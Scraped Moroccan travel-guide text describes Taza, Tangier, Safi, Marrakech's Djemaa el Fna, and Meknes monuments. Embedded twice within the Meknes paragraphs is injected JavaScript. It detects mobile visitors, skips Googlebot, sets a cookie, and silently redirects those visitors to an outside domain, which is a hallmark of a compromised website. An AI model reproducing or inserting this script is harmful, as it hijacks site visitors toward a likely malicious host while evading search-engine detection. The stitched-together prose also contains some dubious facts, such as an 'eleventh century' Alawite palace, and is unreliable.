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Taza

Travel to Taza – City of Calm and Serenity

Taza, one of the oldest cities of the kingdom, on the main road connecting Western Morocco to Algeria, is of great interest to travellers. The city is a speleological capital placed at the centre of a range of archaeological richness. Taza dominates, and orders the great way of invasion known as the “Corridor of Taza”, the only easy passage between the Atlantic and Oujda.

Throughout its history, Taza has known settlements for several thousands of years. It is said to have been during a long period for the Berber populations of the Atlas, a kind of citadel to protect against invasions.

Taza pre-contemporary history started with the Idrissid dynasty. Proclaimed Khalif, Idriss I subjected to their obedience the tribes who lived between Volubilis and the threshold of Taza. It was at that time, that the Ribat de Taza was founded by the Rhiatas, Meknassa and Metalssa. In 1141, the town was concquered by the Almohades under the reign of Sultan Abd-el-Moumen, the founder of the Great Mosque.

Travellers to Taza have several historical sites to visit. Among them, there is the Medina Walls built in the Medieval times under the Almohades – with a beautiful view of the surrounding valleys; the Great Mosque, “Jemaa El Kebir;” the Tour Es-Sarragine, the so-called Saracen tower, that offers a splendid view on the Middle Atlas; the Gates of Taza-Haut from where you can see the Middle Atlas and the Rif Mountains; the Ville Nouvelle; the Medersa d’Abou El-Hassan, built in 1323, which shelters, in its paved court of mosaics, a basin and two capitals made of onyx, and the Sarrasine tower in the southwest of the strengthened system.

Taza is a city where travellers can enjoy the calm and the ambience of the small town. In fact, the town is not overrun by tourists, as the larger cities in Morocco often are. Taza travellers can haggle for arts and crafts or the typical Moroccan babouches and clothing from the Medina as souvenirs. Taza is also a good starting point for exploration of the Djebel Tazzeka.

Relax at the sound of birds in the city itself or consider visiting cities in the vicinity like Fes where you can find water spring spas such as Sidi Harazem and Moulay Yaacoub.

  • Relax in a calm and serene atmosphere.
  • Taza has a great number of historical sites dating from the Medieval time.
  • Get some typical souvenirs at one of the Medina shops.

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Tangier

Travel to Tangier – The Gateway to Europe

Also know as “The White City,” Tangier sits on the Atlantic coast of Morocco at the western opening to the Mediterranean Sea. With its souks, traditional Moroccan cuisine and many attractions nearby, it is the perfect destination for people who seek exploration and relaxation.

Tangier has always been of prime importance thanks to its position at the junction of the Atlantic Ocean and Mediterranean Sea.

The city was first occupied by ancient Phoenician, Roman and Arab conquerors. It was seized by the Portuguese in the 15th century, and then given to England as part of a royal dowry given to Charles II by Catherine de Braganza in the 17th century. The arrival of the French in Tangier in 1912 made way for ongoing ownership disputes between England and France.

These disputes were terminated by the establishment of international governance of the city in 1923. Tangier’s international city status drew people from all over the world. After Morocco’s independence in 1956, Tangier was incorporated into the Moroccan state. It remains notable for its miscellaneous character today.

Tangier has much to offer the visitor. There is the Mendoubia Gardens, a beautifully shady rest area with a small terrace with good sea views; the Place de France, a beautiful small French square dotted with street cafes and eateries; St. Andrew’s Church that combines Arabic, Moorish and British Architectural elements; Dar el Makhzen, a Moroccan art museum that exhibits manuscripts, traditional Fés furniture, jewellery and carpets; the Caves of Hercules, a place of great beauty and archeological significance besides many other sights travellers will certainly enjoy visiting.

Tangier is known for its long sandy beaches where you can enjoy windsurfing and camel riding. The city provides the ideal location for exploration. Among the places you might want to discover is Asilah, a fishing port once fortified by the Portuguese, and Chaouen, an Andalucian town in the heart of the Rif mountains known for its whitewashed walls, splashed with vibrant blue, contrasting with the verdant hills surrounding the village.

During summer, Tangier beach is dotted with cafes and beach bars, making for a relaxing atmosphere.

Petits taxis can be caught anywhere in town. Grands taxis are also widely available to head out of town. City buses are very useful; they operate between the airport, the train station, Grand Socco and the Caves of Hercules.

  • Relax and enjoy the nice views.
  • Quench your thirst for exploration.
  • Witness diversity of both culture and flavour.

The Kachla of Safi

The upper walls of this citadel, with their crenellated towers, surround a main square which may only accessed via a monumental gate well worth a visit. Climb onto the platform of this bastion to admire the superb view of the minaret, the medina, the potters’ district or the Château de la mer.

Since the eighteenth century, these fortifications have housed the Dar el-Makhzen or governor’s palace. The décor of this building, consisting of casts producing subtle effects due to the enamel painting, gives a splendid impression. This palace is now the National Ceramic Museum.

Souira Kedima Kasbah

At Souira Kedima you will see the vestiges of a fort built in 1521 by the Portuguese who only occupied it for four years. It is a rectangular edifice measuring 40m x 25m. Two towers reinforce this building made from dressed stone sealed with lead.

Legend has it that these stones were brought from Portugal and that the citadel was built in just one night! It is just a legend as the size of the small remains imposing and it would be impossible to build it in such a short space of time!

Djemaa el Fna

The huge open space of Djemaa el Fna is the heart of the old city, or Medina, where acrobats and jugglers, snake charmers, beggars, boxers, musicians, fresh juice and food sellers all compete for your attention – and a few dirhams in the process. During the day it is a fantastic sight, but at sunset it comes into a world of its own – buzzing with atmosphere and life.

At night take a seat in one of the restaurants that overlook the square and watch the scene unfold. With numerous sounds from musicians and singers, and thousands of tiny white lights illuminating swirling smoke that rises from the food stalls, you can expect a real feast on your senses!

Museum Dar Jamaii

The ‘Jamaï Palace’ has been home to the Musée d’Art Marocain since 1920. It was built in 1882, and was once the home of Abou Abdellah Jamaï, minister to Sultan Moulay Al Hassan I (1873-1879). Come and see this sumptuous home and the treasures that are on display inside – such as beautiful collections of jewellery, ceramics, wooden sculpture, traditional clothing – or magnificent carpets from the Middle Atlas, and antique furniture.

Take the time as well to admire the ancient terracotta, carved plaster and painted wood, and don’t forget the Andalusian garden. Before you go, take a look at the apartments in which the Jamaï family lived. This will give you a better understanding of the luxury of a house belonging to the high bourgeoisie of Meknes at the end of the 19th century.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Meknes Medina

Palaces, markets, mosques, souks, squares, gardens and fountains… the Meknès medina offers a whole host of beauties and splendours. This medina has maintained its military character but has considerably developed. Sumptuous buildings but also the incredible spectacle of everyday life will impress you!

In this animated medina, you will be seized by colours and charmed by the smell of spices, mint or olives in the markets. At the main 200 metre long and 100 m wide El Hédim square, known for its beautiful gates, head westwards and behind the potters’ arcades, enter one of the most beautiful indoor markets of Morocco. Here you will find everything, including multicoloured birds, something to give even more colour to this splendid medina!

Dar el Ma

You will be surprised by the size of Dar el Ma. This “house of water” overlooking the Agdal basin which used to contain a dozen or so water cisterns. Forty metres deep, they supplied the Imperial city. The water was drawn using norias activated by horses. A reconstruction of this is displayed next to the edifice.

Here, everything is huge, like the thickness of the walls (4 metres in parts) which produced an ideal cool temperature to store cereals and forage in the gigantic warehouses. You should also visit the breathtaking stables that were said to house 12,000 horses! The perspectives of this building are spectacular but the elegance of the construction, with the surrounding vegetation, makes this old “house of water” a charming place.

Dar El Bachaouate

Ben Aïssa Ben Abdkarim El Boukhari who was the pasha of the Meknès medina at the time built this building in just one year, between 1912 and 1913. Dar El Bachaouate then became the home of the different pashas until 1969. Take time to admire this magnificent monument that reflects the full glory of Hispano-Moorish architecture.

Today, it is the seat of the Meknès Andalusian music academy. This monument is one of the many marvels of Hispano-Moorish art which you can see in Meknès. The town of Meknès is in fact on the UNESCO World Heritage list since 1996 thanks to its architectural riches.

Dar Al Baida Palace

This majestic eleventh century Alawite palace was built by sultan Sidi Mohamed Ben Abdellah. Converted into a military academy, this imposing monument has maintained its historic character in terms of its interior layout and the architectural and decorative elements.

This vast building that suggests a fortress is worth a visit! It reflects the imperial grandeur the Alawite princes wanted to give to Meknès. In Morocco, this is the best place to sense this grandeur that could seem excessive but you will be undoubtedly seduced by the charm of this Imperial city!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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